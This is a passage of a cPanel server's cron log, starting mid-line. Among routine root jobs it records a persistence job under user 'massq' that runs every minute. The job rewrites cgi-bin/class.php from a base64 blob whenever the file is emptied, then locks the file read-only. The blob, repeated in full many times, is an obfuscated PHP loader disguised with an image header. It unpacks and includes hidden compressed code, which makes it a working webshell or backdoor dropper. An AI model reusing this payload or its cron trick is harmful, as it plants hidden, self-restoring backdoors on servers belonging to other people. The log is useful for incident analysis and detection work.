C2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 04:52:01 server CROND[13340]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 04:52:01 server CROND[13341]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 04:52:01 server CROND[13342]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 04:53:01 server CROND[13710]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 04:53:01 server CROND[13711]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 04:53:01 server CROND[13712]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 04:54:01 server CROND[14090]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 04:54:01 server CROND[14092]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 04:54:01 server CROND[14091]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 04:55:01 server CROND[14570]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 04:55:01 server CROND[14572]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  8 04:55:01 server CROND[14576]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  8 04:55:01 server CROND[14575]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 04:55:01 server CROND[14578]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  8 04:55:02 server CROND[14577]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  8 04:55:02 server CROND[14574]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 04:56:01 server CROND[15395]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 04:56:01 server CROND[15396]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 04:56:01 server CROND[15397]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 04:57:01 server CROND[15772]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  8 04:57:01 server CROND[15775]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 04:57:01 server CROND[15773]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 04:57:01 server CROND[15776]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 04:58:01 server CROND[16161]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 04:58:01 server CROND[16162]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 04:58:01 server CROND[16163]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 04:59:01 server CROND[16578]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 04:59:01 server CROND[16579]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 04:59:01 server CROND[16580]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 05:00:01 server CROND[17022]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  8 05:00:01 server CROND[17024]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  8 05:00:01 server CROND[17029]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  8 05:00:01 server CROND[17030]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  8 05:00:01 server CROND[17035]: (root) CMD (   bash -c 'sleep $((RANDOM % 1800))' ;imunify-antivirus imunify-patch subscriptions refresh > /dev/null 2>&1)
Sep  8 05:00:01 server CROND[17033]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 05:00:01 server CROND[17036]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  8 05:00:01 server CROND[17040]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 05:00:01 server CROND[17037]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 05:01:01 server CROND[17907]: (root) CMD (run-parts /etc/cron.hourly)
Sep  8 05:01:01 server CROND[17911]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 05:01:01 server CROND[17910]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 05:01:01 server CROND[17912]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 05:01:01 server run-parts(/etc/cron.hourly)[17907]: starting 0anacron
Sep  8 05:01:01 server run-parts(/etc/cron.hourly)[17927]: finished 0anacron
Sep  8 05:02:01 server CROND[18292]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 05:02:01 server CROND[18293]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 05:02:01 server CROND[18295]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 05:03:01 server CROND[18674]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 05:03:01 server CROND[18675]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 05:03:01 server CROND[18676]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 05:04:02 server CROND[19057]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
